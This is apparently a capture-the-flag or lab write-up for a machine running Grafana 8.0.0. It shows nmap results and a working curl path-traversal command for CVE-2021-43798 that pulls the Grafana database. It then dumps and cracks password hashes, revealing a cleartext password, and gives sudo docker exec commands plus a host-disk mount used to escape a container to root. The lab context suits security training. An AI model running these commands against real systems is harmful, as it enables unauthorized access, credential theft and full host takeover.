Data

NMAP

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 63:47:0a:81:ad:0f:78:07:46:4b:15:52:4a:4d:1e:39 (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQCzybAIIzY81HLoecDz49RqTD3AAysgQcxH3XoCwJreIo17nJDB1gdyHYQER-GigDVgG9hz9uB4AzJc87WXGi7TUM0r16XTLwtEX7MoMgmsXKJX/
EoZGQsb1zyFnwQR00xsX2mDvHpaDeUh3EtsL1zAgxLSgi/
uym4nLwjTHqpTmm0shwDqlpOvKBbL7IcQ3vVKkmy7o7TG7HYMHiDYF+Aw5BKnOTuVoMgGy3gaFXJqyhszV/
6BD9UQALdrtAXKO3bO4D6g5gM9N78Om7kwRvEW3NDwvk5w+gA6wDFpMAigccCaP/
JuEPoeqgV3r6cL4PovbbZkxQScY+9SuOGb78EjR
| 256 7d:a9:ac:fa:01:e8:dd:09:90:40:48:ec:dd:f3:08:be (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGUqvSE3W1c40BBItjgG3RCCbsMNpcqRV0DbxM-h3qruh0nsNdNm9QuTflzkzqj0nxPoAmjUqq0SolF0UFHqtmEc=
| 256 91:33:2d:1a:81:87:1a:84:d3:b9:0b:23:23:3d:19:4b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPDOwcGGuUmX8fQkvfAdnPuw9tMrPSs4nai8+KMFzpvf

3000/tcp open http syn-ack ttl 62 Grafana http
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Grafana
|_Requested resource was /login
|_http-favicon: Unknown favicon MD5: C308E3090C62A6425B30B4C38883196B
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Discovery

port 3000
Grafana login page
v8.0.0

uname:pword

forgot password

Grafana

CVE-2021-43798 – Grafana Exploit
Unauth file read, will utilise to search for creds/hashes in a db somewhere
msfconsole scanner/http/grafana_plugin_traversal has confirmed it can be exploited

Grafana 8.3.0 - Directory Traversal and Arbitrary File Read - Multiple webapps Exploit
this exploit works and have gained access to /etc/passwd

once locating the db and confirming with exploit at /var/lib/grafana/grafana.db i had to saerch for the curl command

url 'http://10.129.117.66:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' --path-as-is --output grafana.db

Grafana DB

SELECT id, login, email, password FROM user;

1|admin|admin@localhost|
7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8

2|boris|boris@data.vl|
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8

select * from user

Assessing Potential Exploitation of Grafana's CVE-2021-43798 for Initial Access Access - Blog - VulnCheck | Blog | VulnCheck
boris|boris@data.vl|boris|
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl|mYl941ma8w|

need to turn this into hashcat readable with this:

```
cut -d '|' -f4,6,7 boris | while IFS='|' read -r email pass salt; do
  hash64=$(echo -n "$pass" | xxd -r -p | base64)
  salt64=$(echo -n "$salt" | base64)
  echo "sha256:10000:$salt64:$hash64"
done
```

boris:beautiful1

Passwd

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

SSH

Boris:beautiful1

User boris may run the following commands on localhost:
    (root) NOPASSWD: /snap/bin/docker exec *

priv esc

sudo /snap/bin/docker exec --privileged --user 0 -i -t e6ff5b1cbc85 /bin/bash
root shell

now need to “escape” the docker to gain access to root
mount
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime)
bash-5.1# mount /dev/sda1 /mnt

cat /mnt/root/root.txt